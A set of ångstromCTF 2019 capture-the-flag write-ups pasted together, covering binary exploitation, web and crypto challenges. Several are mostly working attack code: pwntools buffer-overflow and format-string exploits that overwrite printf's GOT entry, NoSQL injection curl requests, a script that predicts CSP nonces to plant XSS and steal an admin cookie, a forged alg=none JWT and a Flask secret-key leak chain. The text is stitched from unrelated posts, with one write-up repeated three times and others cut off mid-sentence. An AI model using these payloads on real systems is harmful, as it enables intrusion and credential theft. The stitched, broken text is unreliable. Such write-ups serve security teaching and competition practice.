$ python3 solve.py _{_fmvtlpthelpahee_i_Iac_h}a actf{help_me_I_have_a_lithp}
## Flag
actf{help_me_I_have_a_lithp} |
## ångstromCTF 2019 -「Chain of Rope (80pts)」之解き方
### 解析getsによってバッファーオーバーフローが可能。```401348: 48 8d 45 d0 lea rax,[rbp-0x30]40134c: 48 89 c7 mov rdi,rax40134f: b8 00 00 00 00 mov eax,0x0401354: e8 17 fd ff ff call 401070 <gets@plt>```書込み先から`0x30`バイト超えて、RBPとRIPを奪えられます。
戻り先を考えればflag関数の真ん中でのsystem呼び出しがいいのでしょう。```401231: 48 8d 3d 2f 0e 00 00 lea rdi,[rip+0xe2f] # 402067 <_IO_stdin_used+0x67>401238: e8 13 fe ff ff call 401050 <system@plt>```
### エクスプロイト```pythonpayload = "1\n" # メニュー選択payload += "a" * 0x30 # パッディングpayload += "\x00\x00\x00\x00\x00\x00\x00\x00" # $rbppayload += "\x31\x12\x40\x00\x00\x00\x00\x00" # $rip (system呼び出し)print(payload)```
結局ROPを使わずに解いてしまいました。 |
# ▼▼▼No Sequels 2(Web:80pts、161/1374=11.7%)▼▼▼
```This is the sequel to No Sequels. You'll see the challenge page once you solve the first one.
Author: SirIan```
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
---
## 【exploit】
I used `$regex` to identify one character from the beginning, and I judged it to be the end if I reached $.
```POST /login HTTP/1.1Host: nosequels.2019.chall.actf.coContent-Length: 78Content-Type: application/jsonCookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1ODA0Nzc5fQ.N1GQCY5ZtBNZD-O9CK7nImn_jQjCqGdbE-46U4nDLQEConnection: close
{ "username": "admin", "password": {"$regex": "^congratsyouwin$"}}```
↓
password=`congratsyouwin`
---
Send password to get flag
↓
`actf{still_no_sql_in_the_sequel}` |
# PurchasesDescription:
This grumpy [shop owner](purchases) won't sell me his flag! At least I have his [source](purchases.c).
`/problems/2019/purchases/`
`nc shell.actf.co 19011`
Author: defund
Looking at the source:```c#include <stdlib.h>#include <stdio.h>#include <string.h>
void flag() { system("/bin/cat flag.txt");}
int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);
char item[60]; printf("What item would you like to purchase? "); fgets(item, sizeof(item), stdin); item[strlen(item)-1] = 0;
if (strcmp(item, "nothing") == 0) { printf("Then why did you even come here? "); } else { printf("You don't have any money to buy "); printf(item); printf("s. You're wasting your time! We don't even sell "); printf(item); printf("s. Leave this place and buy "); printf(item); printf(" somewhere else. "); }
printf("Get out!\n"); return 0;}```We confirm this is a Format String exploit!
Because of `printf(item)`
## Reference[A simple Format String exploit example - bin 0x11](https://www.youtube.com/watch?v=0WvrSfcdq1I&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=18)
[Global Offset Table (GOT) and Procedure Linkage Table (PLT) - bin 0x12](https://www.youtube.com/watch?v=kUk5pw4w0h4&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=19)
[Format String Exploit and overwrite the Global Offset Table - bin 0x13](https://www.youtube.com/watch?v=t1LH9D5cuK4&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=20)
Our plan is to overwrite the `printf` function to the `flag` function using format string
```cprintf(item); //Overwrite printf()printf("s. You're wasting your time! We don't even sell "); //This line will execute flag()```
First, we need to find the offset number (Like buffer overflow need to find the buffer size)
By using pwntools we can easily do this:```pythonfrom pwn import *elf = ELF('./purchases')p = elf.process()p.recvuntil("purchase? ")p.sendline('aaaaaaaa'+'%p '*10)print p.recv()```Output:```You don't have any money to buy aaaaaaaa0x7ffe22bddf00 0x7f6bcbb7e8c0 (nil) 0x7f6bcbb83500 0x7f6bcbb7e8c0 0xc2 0x22be05d6 0x6161616161616161 0x7025207025207025 0x2520702520702520 s. You're wasting your time! We don't even sell aaaaaaaa0x7ffe22bddf00 0x7f6bcbb7e8c0 (nil) 0x7f6bcbb83500 0x7ffe22bddd88 0xc2 0x22be05d6 0x6161616161616161 0x7025207025207025 0x2520702520702520 s. Leave this place and buy aaaaaaaa0x7ffe22bddf00 0x7f6bcbb7e8c0 (nil) 0x7f6bcbb83500 0x7ffe22bddd88 0xc2 0x22be05d6 0x6161616161616161 0x7025207025207025 0x2520702520702520 somewhere else. Get out!```We can clearly see the `0x6161616161616161` which is `aaaaaaaa` in hex
So the offset is 10 - 2 = 8
By using `%8$p` we can printf only the 8th argument:```pythonfrom pwn import *elf = ELF('./purchases')p = elf.process()p.recvuntil("purchase? ")p.sendline('aaaaaaaa%8$p')print p.recv()```Output:```You don't have any money to buy aaaaaaaa0x6161616161616161s. You're wasting your time! We don't even sell aaaaaaaa0x6161616161616161s. Leave this place and buy aaaaaaaa0x6161616161616161 somewhere else. Get out!```Yay! Try to replace the `aaaaaaaa` to the printf address:```pythonfrom pwn import *elf = ELF('./purchases')printf_address = elf.symbols['got.printf'] # Get the printf addressp = elf.process()p.recvuntil("purchase? ")p.sendline(p64(printf_address)+'%8$p') # Convert the address to stringprint p.recv()```But the output is not what I expected:```You don't have any money to buy @@s. You're wasting your time! We don't even sell @@s. Leave this place and buy @@ somewhere else. Get out!```Use `print hex(printf_address)` we get `0x404040`
But `print p64(printf_address)` we get `@@@\x00\x00\x00\x00\x00`
That is because C compiler see the null byte `\x00` so it print 2 characters then it stops
So we change our plan, is to put the address after the Format String `%8$p````pythonfrom pwn import *elf = ELF('./purchases')printf_address = elf.symbols['got.printf'] # Get the printf addressp = elf.process()p.recvuntil("purchase? ")p.sendline('%8$p'+p64(printf_address)) # Convert the address to stringprint p.recv()```But the output is not correct:```You don't have any money to buy 0x404070243825@@s. You're wasting your time! We don't even sell 0x404070243825@@s. Leave this place and buy 0x404070243825@@ somewhere else. Get out!```We guess the Format String must be in 8 bytes format:```Before:[ 8th argument ][ 9th argument ][%][8][$][p][40][40][40][00][00][00][00][00]...
After:[ 8th argument ][ 9th argument ][%][8][$][p][ ][ ][ ][ ][40][40][40][00][00][00][00][00]```We added four space into the format string and change `%8$p` to `%9$p` because 9th argument```pythonfrom pwn import *elf = ELF('./purchases')printf_address = elf.symbols['got.printf'] # Get the printf addressp = elf.process()p.recvuntil("purchase? ")p.sendline('%9$p '+p64(printf_address)) # Convert the address to stringprint p.recv()```But the output lost one byte:```You don't have any money to buy 0x4040 @@s. You're wasting your time! We don't even sell 0x4040 @@s. Leave this place and buy 0x4040 @@ somewhere else. Get out!```We're confuse about this, we try to delete the null bytes:```pythonp.sendline('%9$p '+p64(printf_address)[:3])```And the output is almost correct:```You don't have any money to buy 0x7f0000404040 @@@s. You're wasting your time! We don't even sell 0x7f0000404040 @@@s. Leave this place and buy 0x7f0000404040 @@@ somewhere else. Get out!```I guess we overwritten some address in the stack
So we add 7 more spaces (16 - 5 + 4) , add 1 to the argument```pythonp.sendline('%10$p '+p64(printf_address)[:3])```Yay! Finally get the correct address:```You don't have any money to buy 0x404040 @@@s. You're wasting your time! We don't even sell 0x404040 @@@s. Leave this place and buy 0x404040 @@@ somewhere else. Get out!```Using `rjust(16)` or `ljust(16)` to add space to the input instead of typing them:```pythonp.sendline('%10$p'.rjust(16)+p64(printf_address)[:3])```Its time for the real thing!
According to the man page of printf:```Conversion specifiers:.........n The number of characters written so far is stored into the integer pointed to by the corresponding argument.
BUGS: Code such as printf(foo); often indicates a bug, since foo may contain a % character. If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.
```if we execute `printf("hello world %n",some_address)`, it will print `hello world ` and store 12 (number of printed characters) into `some_address`
Means we need to type number of characters in flag function address which is alot and impossible
Because the buffer is only 60 characters:```cchar item[60];```Using Format String we also can print alot of characters with spaces:```cprint("%999i",1234);//output://[999 of spaces]1234```Ok lets construct the payload:```pythonflag = elf.symbols['flag'] # Get the function flag() addressflag = str(flag) # Convert to stringpayload = '%' + flag + 'x%10$ln' # Using ln because of 8 bytes addressp.sendline(payload.rjust(16)+p64(printf_address)[:3])```Created a fake flag in current directory
And we execute the script, and it worked!!:```.........cfe79340@@@SKR{flag}[*] Got EOF while reading in interactive```Changing the process to netcat and execute the script:```pythonfrom pwn import *elf = ELF('./purchases')printf_address = elf.symbols['got.printf']flag = elf.symbols['flag'] # Get the function flag() addressflag = str(flag) # Convert to stringpayload = '%' + flag + 'x%10$ln' # Using ln because of 8 bytes address# p = elf.process()p = remote('shell.actf.co',19011)p.recvuntil("purchase? ")p.sendline(payload.rjust(16)+p64(printf_address)[:3])p.interactive()```We get the Flag!!!!!```efc80510@@@actf{limited_edition_flag}Segmentation fault (core dumped)[*] Got EOF while reading in interactive```[Full script](solve.py)
## Flag> actf{limited_edition_flag} |
# NaaS #
In this challenge, there are 3 parts:
* The "Nonce as a Service" API, where you can post your HTML and automatically apply nonces to your script tags and send a CSP header that matches it. We are given the code for this.* A paste site, where you can submit whatever and store it. The input isn't sanitized, but due to CSP restrictions on the site, scripts cannot be run unless they are tagged with the correct nonce. Nonces are generated by the NaaS API.* The functionality to report a paste to an admin, making a browser bot visit that paste. The admin has a secret cookie with the flag in it.
The big flaw here, is that the NaaS API uses Python's `random` module, which gives pseudorandom numbers based on the Mersenne Twister PRNG. To get nearly 100% prediction rate for the next number, we need only 624 consecutive 32-bit numbers from the PRNG. The nonces are grabbing 128 bits every time, and outputting them in full, so that means we only need 156 numbers.
Our vector of attack is thus to send some HTML to the NaaS API, where we ask for at least 156 nonces. We use the value of these nonces to reverse the PRNG state and predict what the next nonces will be. Next, we generate some HTML+JS using these predicted nonces, where we also exfiltrate the admin cookie through normal XSS. Lastly, we report the paste to the admin, which triggers a visit. The paste site now queries NaaS, which gives one of our predicted nonces, and the admin ends up leaking the cookie.
To reverse the PRNG we use randcrack. It takes in 32-bit values only, so the 128-bit nonces are split up into 32-bit ones. When you ask Python for `getrandbits(64)` you actually get `getrandbits(32) << 32 | getrandbits(32)` and the same applies for 128-bit. That's the reason for the negative direction of the split.
```pythonimport requests, re, binascii, base64from randcrack import RandCrack
html = "<html>" + "<script></script>"*157 + "</html>"
data = requests.post("https://naas.2019.chall.actf.co/nonceify", data=html).textnonces = re.findall("'nonce-([A-Za-z0-9\+/=]+)'", data)hexnonce = [binascii.hexlify(base64.b64decode(nonce)) for nonce in nonces]rands = [int(e[i:i+8], 16) for e in hexnonce for i in range(24,-1,-8)]realrands = [int(e,16) for e in hexnonce]
rc = RandCrack()for i in range(624): rc.submit(rands[i])
assert rc.predict_getrandbits(128) == realrands[624//4]
xsshtml = ""for _ in range(100): nonce = str(base64.b64encode(binascii.unhexlify(hex(rc.predict_getrandbits(128))[2:].zfill(32))), encoding="ascii") xsshtml += """<script nonce="%s">document.write('')</script>""" % nonce
r = requests.post("https://paste.2019.chall.actf.co", data={'paste': xsshtml}, allow_redirects=False)pasteurl = r.headers['Location']
r = requests.post("https://paste.2019.chall.actf.co/report", json={"url" : pasteurl})``` |
ångstromCTF 2019 -- quick write-ups by @terjanq (Web)===
# Control YouThe flag was in the source code of the webpage **actf{control_u_so_we_can't_control_you}**
# No SequelsThis was a basic NoSQL Injection task.```shellcurl -i https://nosequels.2019.chall.actf.co/login \-H 'Content-type: application/json' \-d '{"username": "admin", "password": {"$gt": "a"}}' \-H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4OTc5fQ.-YQh71DMt2mRIwKmgAKIB16rliriYF4dSilCsYo84-8'```After executing the above command we get a session cookie for the admin and when visiting the `https://nosequels.2019.chall.actf.co/site` we get the flag.**actf{no_sql_doesn't_mean_no_vuln}**
# No Sequels 2This was the same task as before but here we had to use blind NoSQL injection in order to fetch all of the pasword's characters by using the payload above. E.g.```{"username": "admin", "password": {"$gt": "a"}} -> true{"username": "admin", "password": {"$gt": "z"}} -> false```
By bruteforcing all characters we get the password `congratsyouwin` and then the flag: **actf{still_no_sql_in_the_sequel}**
Solving script: [./NoSequels2/solve.py](./NoSequels2/solve.py)
# DOM Validator
*Detailed writeup available here: https://medium.com/@terjanq/xss-auditor-the-protector-of-unprotected-f900a5e15b7b*
We had a simple upload page that allowed you to upload a custom HTML page. You could report suspicious URLs to admin.After uploading the page we get:```html
<html> <head> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script> <script src="../scripts/DOMValidator.js"></script> </head> <body> <h1>test_post</h1> <script>alert('pwned')</script> </body></html>```
<script>alert('pwned')</script>
The `<script>alert('pwned')</script>` won't be executed because of the `DOMValidator.js` script:
```javascriptfunction checksum (element) { var string = '' string += (element.attributes ? element.attributes.length : 0) + '|' for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) { string += element.attributes[i].name + ':' + element.attributes[i].value + '|' } string += (element.childNodes ? element.childNodes.length : 0) + '|' for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) { string += checksum(element.childNodes[i]) + '|' } return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)}var request = new XMLHttpRequest()request.open('GET', location.href, false)request.send(null)if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) { document.documentElement.remove()}```
It calculates some sort document's hash and then compares it with the original. I haven't even looked into the code because I already knew an unintended solution for this one.
The page wasn't setting any `X-XSS-Protection` header so the `XSS-Auditor` in Chrome 74 (that's the version the admin uses) is set to `mode=filter` so any reflected XSS will be filtered and not executed.
So I appended the `xss=<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js">` parameter to the query so the `sha512.js` script will be filtered and the `DOMValidator.js` will crash. Hence, `<script>alert('pwned')</script>` will be executed.
After sending that URL to the admin we get the flag: **actf{its_all_relative}**
# Cookie MonsterOnce again, we've got a simple webpage with URL reporting functionality. After a quick inspection we see two endpoints `/getflag` and `/cookies`. When visiting `/cookies` our `cookies` are being displayed and it looks like `user_DE7aL1xDCe3BauCWqSVqg_0C5bu2078UgQHIqYsF2h0= 311`. That's a valid variable in JavaScript so by including this script on the prepared website ```<script src='https://cookiemonster.2019.chall.actf.co/cookies'></script>```and then reading the window variable```javascriptvar name = Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1)[0];```we get the admin's cookie `admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o=` and then the flag: **actf{defund_is_the_real_cookie_monster}**
# GiantURLWe have a website where we can:- create `redirect` URL `GET /redirect`- change admin's password `POST /admin/changepass`- report URL `POST /report`
The website is not protected by any CSRF tokens but the `SameSite=Lax` cookie is set so we can't do any `POST` requests across different origins.
```php= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) { $password = $_REQUEST['password']; echo 'Successfully changed password.'; } else { echo 'Password is insecure.'; }}file_put_contents("password", $password);?>```
In order to get the flag we have to somehow change the admin's password. We can see that it must be a `POST` request but the `password` can be passed as a URL parameter.
In the `/redirect` we have a vulnerable code:```phpClick on >this link to go to your page!```
In theory we could insert the xss there, like for example: `this link` but CSP will block such attempts because of the`Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';` header.
However, there is a `ping` feature in `` elements that sends a `POST` request when the link was clicked. So we can insert `this link` in the `/redirect` and then when the admin clicks on that URL their password will change. The full payload:`https://giant_url.2019.chall.actf.co/redirect?url=aa%20ping=/admin/changepass?password=0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a`
After that we can log in using the new credentials and we get the flag: **actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}**
# Cookie CutterThe chalange is about hacking the JWT cookie. To get the flag we have to pass this check:```javascriptlet sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}let decoded = jwt.verify(cookie, secrets[sid]);if(decoded.perms=="admin"){ res.locals.flag = true;}```where the `secrets` is an array containing randomly generated `secrets`
```javascriptlet secret = crypto.randomBytes(32)cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});secrets.push(secret);```
The cookie looks like:```json{ "alg": "HS256", "typ": "JWT"}{ "perms": "user", "secretid": 1394, "rolled": "no", "iat": 1555925889}```
By providing the cookie: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJyYW5kb21zdHIiLCJyb2xsZWQiOiJubyJ9.` which after decoding looks like
```json{ "typ": "JWT", "alg": "none"}{ "perms": "admin", "secretid": "randomstr", "rolled": "no"}```
we will get the flag, becasue `secrets["randomstr"]` will return `undefined` and we set the `algorithm` to `none`.
The flag is: **actf{defund_ate_the_cookies_and_left_no_sign}**
# MadlibbinIn the challenge we could insert a template string that will be interpreted in Python's `"".format(args=request.args)` function. So the string `{args}` will return `ImmutableMultiDict([])`. The goal was to read `app.secret_key` value.
By running the server locally and using the script from https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py, I found out the chain of properties that led to `Flask.app` object `{args.__class__.__weakref__.__objclass__._iter_hashitems.__globals__[__loader__].__class__.__weakref__.__objclass__.get_data.__globals__[__loader__].exec_module.__globals__[__builtins__][__build_class__].__self__.copyright.__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}`.
And the flag is: **actf{traversed_the_world_and_the_seven_seas}**
Solving script: [./Madlibbin/app.py](./Madlibbin/app.py) `$ python3 -m flask run`# NaaSIt was a basic task for cracking the Python's `random` generator. The solution was to request enough `nonces` from `https://naas.2019.chall.actf.co/nonceify` to predict the upcoming ones. To crack the `random` generator I used the tool: https://github.com/tna0y/Python-random-module-cracker.
After successful prediction of the nonces you only had to create a paste with `<script nonce=Nonce1></script><script nonce=Nonce2></script><script nonce=Nonce3></script>...` so you can be sure that when the admin visits the page one of them will work.
After getting the admin's cookie we get the flag: **actf{lots_and_lots_of_nonces}**
Solving script: [./NaaS/solve.py](./NaaS/solve.py) |
## Challenge description:Something is suspicious about defund's math papers. See if you can find anything in the [network packets](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/misc/paper_trail.pcapng) we've intercepted from his computer.
## Solution: We are given the file: paper_trail.pcapng. Opening this with wireshark, we can see it's a TCP connection of an IRC chat.By following the TCP stream, we get the following messages:
```PRIVMSG defund :I have to confide in someone, even if it\'s myselfPRIVMSG defund :my publications are all randomly generated :(PRIVMSG defund :aPRIVMSG defund :cPRIVMSG defund :tPRIVMSG defund :fPRIVMSG defund :{PRIVMSG defund :fPRIVMSG defund :aPRIVMSG defund :kPRIVMSG defund :ePRIVMSG defund :_PRIVMSG defund :mPRIVMSG defund :aPRIVMSG defund :tPRIVMSG defund :hPRIVMSG defund :_PRIVMSG defund :pPRIVMSG defund :aPRIVMSG defund :pPRIVMSG defund :ePRIVMSG defund :rPRIVMSG defund :sPRIVMSG defund :}```
And with that, we get our flag: `actf{fake_math_papers}` |
ångstromCTF 2019 -- quick write-ups by @terjanq (Web)===
# Control YouThe flag was in the source code of the webpage **actf{control_u_so_we_can't_control_you}**
# No SequelsThis was a basic NoSQL Injection task.```shellcurl -i https://nosequels.2019.chall.actf.co/login \-H 'Content-type: application/json' \-d '{"username": "admin", "password": {"$gt": "a"}}' \-H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4OTc5fQ.-YQh71DMt2mRIwKmgAKIB16rliriYF4dSilCsYo84-8'```After executing the above command we get a session cookie for the admin and when visiting the `https://nosequels.2019.chall.actf.co/site` we get the flag.**actf{no_sql_doesn't_mean_no_vuln}**
# No Sequels 2This was the same task as before but here we had to use blind NoSQL injection in order to fetch all of the pasword's characters by using the payload above. E.g.```{"username": "admin", "password": {"$gt": "a"}} -> true{"username": "admin", "password": {"$gt": "z"}} -> false```
By bruteforcing all characters we get the password `congratsyouwin` and then the flag: **actf{still_no_sql_in_the_sequel}**
Solving script: [./NoSequels2/solve.py](./NoSequels2/solve.py)
# DOM Validator
*Detailed writeup available here: https://medium.com/@terjanq/xss-auditor-the-protector-of-unprotected-f900a5e15b7b*
We had a simple upload page that allowed you to upload a custom HTML page. You could report suspicious URLs to admin.After uploading the page we get:```html
<html> <head> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script> <script src="../scripts/DOMValidator.js"></script> </head> <body> <h1>test_post</h1> <script>alert('pwned')</script> </body></html>```
<script>alert('pwned')</script>
The `<script>alert('pwned')</script>` won't be executed because of the `DOMValidator.js` script:
```javascriptfunction checksum (element) { var string = '' string += (element.attributes ? element.attributes.length : 0) + '|' for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) { string += element.attributes[i].name + ':' + element.attributes[i].value + '|' } string += (element.childNodes ? element.childNodes.length : 0) + '|' for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) { string += checksum(element.childNodes[i]) + '|' } return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)}var request = new XMLHttpRequest()request.open('GET', location.href, false)request.send(null)if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) { document.documentElement.remove()}```
It calculates some sort document's hash and then compares it with the original. I haven't even looked into the code because I already knew an unintended solution for this one.
The page wasn't setting any `X-XSS-Protection` header so the `XSS-Auditor` in Chrome 74 (that's the version the admin uses) is set to `mode=filter` so any reflected XSS will be filtered and not executed.
So I appended the `xss=<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js">` parameter to the query so the `sha512.js` script will be filtered and the `DOMValidator.js` will crash. Hence, `<script>alert('pwned')</script>` will be executed.
After sending that URL to the admin we get the flag: **actf{its_all_relative}**
# Cookie MonsterOnce again, we've got a simple webpage with URL reporting functionality. After a quick inspection we see two endpoints `/getflag` and `/cookies`. When visiting `/cookies` our `cookies` are being displayed and it looks like `user_DE7aL1xDCe3BauCWqSVqg_0C5bu2078UgQHIqYsF2h0= 311`. That's a valid variable in JavaScript so by including this script on the prepared website ```<script src='https://cookiemonster.2019.chall.actf.co/cookies'></script>```and then reading the window variable```javascriptvar name = Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1)[0];```we get the admin's cookie `admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o=` and then the flag: **actf{defund_is_the_real_cookie_monster}**
# GiantURLWe have a website where we can:- create `redirect` URL `GET /redirect`- change admin's password `POST /admin/changepass`- report URL `POST /report`
The website is not protected by any CSRF tokens but the `SameSite=Lax` cookie is set so we can't do any `POST` requests across different origins.
```php= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) { $password = $_REQUEST['password']; echo 'Successfully changed password.'; } else { echo 'Password is insecure.'; }}file_put_contents("password", $password);?>```
In order to get the flag we have to somehow change the admin's password. We can see that it must be a `POST` request but the `password` can be passed as a URL parameter.
In the `/redirect` we have a vulnerable code:```phpClick on >this link to go to your page!```
In theory we could insert the xss there, like for example: `this link` but CSP will block such attempts because of the`Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';` header.
However, there is a `ping` feature in `` elements that sends a `POST` request when the link was clicked. So we can insert `this link` in the `/redirect` and then when the admin clicks on that URL their password will change. The full payload:`https://giant_url.2019.chall.actf.co/redirect?url=aa%20ping=/admin/changepass?password=0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a`
After that we can log in using the new credentials and we get the flag: **actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}**
# Cookie CutterThe chalange is about hacking the JWT cookie. To get the flag we have to pass this check:```javascriptlet sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}let decoded = jwt.verify(cookie, secrets[sid]);if(decoded.perms=="admin"){ res.locals.flag = true;}```where the `secrets` is an array containing randomly generated `secrets`
```javascriptlet secret = crypto.randomBytes(32)cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});secrets.push(secret);```
The cookie looks like:```json{ "alg": "HS256", "typ": "JWT"}{ "perms": "user", "secretid": 1394, "rolled": "no", "iat": 1555925889}```
By providing the cookie: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJyYW5kb21zdHIiLCJyb2xsZWQiOiJubyJ9.` which after decoding looks like
```json{ "typ": "JWT", "alg": "none"}{ "perms": "admin", "secretid": "randomstr", "rolled": "no"}```
we will get the flag, becasue `secrets["randomstr"]` will return `undefined` and we set the `algorithm` to `none`.
The flag is: **actf{defund_ate_the_cookies_and_left_no_sign}**
# MadlibbinIn the challenge we could insert a template string that will be interpreted in Python's `"".format(args=request.args)` function. So the string `{args}` will return `ImmutableMultiDict([])`. The goal was to read `app.secret_key` value.
By running the server locally and using the script from https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py, I found out the chain of properties that led to `Flask.app` object `{args.__class__.__weakref__.__objclass__._iter_hashitems.__globals__[__loader__].__class__.__weakref__.__objclass__.get_data.__globals__[__loader__].exec_module.__globals__[__builtins__][__build_class__].__self__.copyright.__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}`.
And the flag is: **actf{traversed_the_world_and_the_seven_seas}**
Solving script: [./Madlibbin/app.py](./Madlibbin/app.py) `$ python3 -m flask run`# NaaSIt was a basic task for cracking the Python's `random` generator. The solution was to request enough `nonces` from `https://naas.2019.chall.actf.co/nonceify` to predict the upcoming ones. To crack the `random` generator I used the tool: https://github.com/tna0y/Python-random-module-cracker.
After successful prediction of the nonces you only had to create a paste with `<script nonce=Nonce1></script><script nonce=Nonce2></script><script nonce=Nonce3></script>...` so you can be sure that when the admin visits the page one of them will work.
After getting the admin's cookie we get the flag: **actf{lots_and_lots_of_nonces}**
Solving script: [./NaaS/solve.py](./NaaS/solve.py) |
I won't go into details of CBC bit-flipping attack here, as others have described. I solved the challenge slightly different - I embedded a valid token in the handle, aligned it with spaces so it fit in a block, then sent just this block. I needed to correct for apostrophes (with bit flipping) because they can't be encoded as they are in JSON, but that was it. So the payload looked like this:
```handle = bytearray(' '*no_of_required_spaces + "{ admin : true}" + ' '*some_other_numer_of_spaces)token = split_into_blocks(get_token(handle), 16)iv = token[3] # token[0] is original iv, token[1] is the part {"admin":false, "handle": somethingforged_token = token[4]iv[1] ^= ord(' ') ^ ord('"') #position of first spaceiv[7] ^= ord(' ') ^ ord('"') #position of the second spaceset_cookie(iv + forged_token)```This gave the flag. |
My solution could be called lazy as I cheated original idea how to solve it. I think it is self explanatory so I'll paste here my exploit.
```from pwn import *
#c = process('./chain_of_rope')c = remote('shell.actf.co',19400)c.sendlineafter('?','1')c.sendline('a'*+56+p64(0x401231))c.interactive()```
### actf{dark_web_bargains} |
# Classy Cipher
20 points - 717 solves
```Every CTF starts off with a Caesar cipher, but we're more classy.```
## Solution
Source code was provided in the challenge, which looked like
```pythonfrom secret import flag, shift
def encrypt(d, s): e = '' for c in d: e += chr((ord(c)+s) % 0xff) return e
assert encrypt(flag, shift) == ': |
ångstromCTF 2019 -- quick write-ups by @terjanq (Web)===
# Control YouThe flag was in the source code of the webpage **actf{control_u_so_we_can't_control_you}**
# No SequelsThis was a basic NoSQL Injection task.```shellcurl -i https://nosequels.2019.chall.actf.co/login \-H 'Content-type: application/json' \-d '{"username": "admin", "password": {"$gt": "a"}}' \-H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4OTc5fQ.-YQh71DMt2mRIwKmgAKIB16rliriYF4dSilCsYo84-8'```After executing the above command we get a session cookie for the admin and when visiting the `https://nosequels.2019.chall.actf.co/site` we get the flag.**actf{no_sql_doesn't_mean_no_vuln}**
# No Sequels 2This was the same task as before but here we had to use blind NoSQL injection in order to fetch all of the pasword's characters by using the payload above. E.g.```{"username": "admin", "password": {"$gt": "a"}} -> true{"username": "admin", "password": {"$gt": "z"}} -> false```
By bruteforcing all characters we get the password `congratsyouwin` and then the flag: **actf{still_no_sql_in_the_sequel}**
Solving script: [./NoSequels2/solve.py](./NoSequels2/solve.py)
# DOM Validator
*Detailed writeup available here: https://medium.com/@terjanq/xss-auditor-the-protector-of-unprotected-f900a5e15b7b*
We had a simple upload page that allowed you to upload a custom HTML page. You could report suspicious URLs to admin.After uploading the page we get:```html
<html> <head> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script> <script src="../scripts/DOMValidator.js"></script> </head> <body> <h1>test_post</h1> <script>alert('pwned')</script> </body></html>```
<script>alert('pwned')</script>
The `<script>alert('pwned')</script>` won't be executed because of the `DOMValidator.js` script:
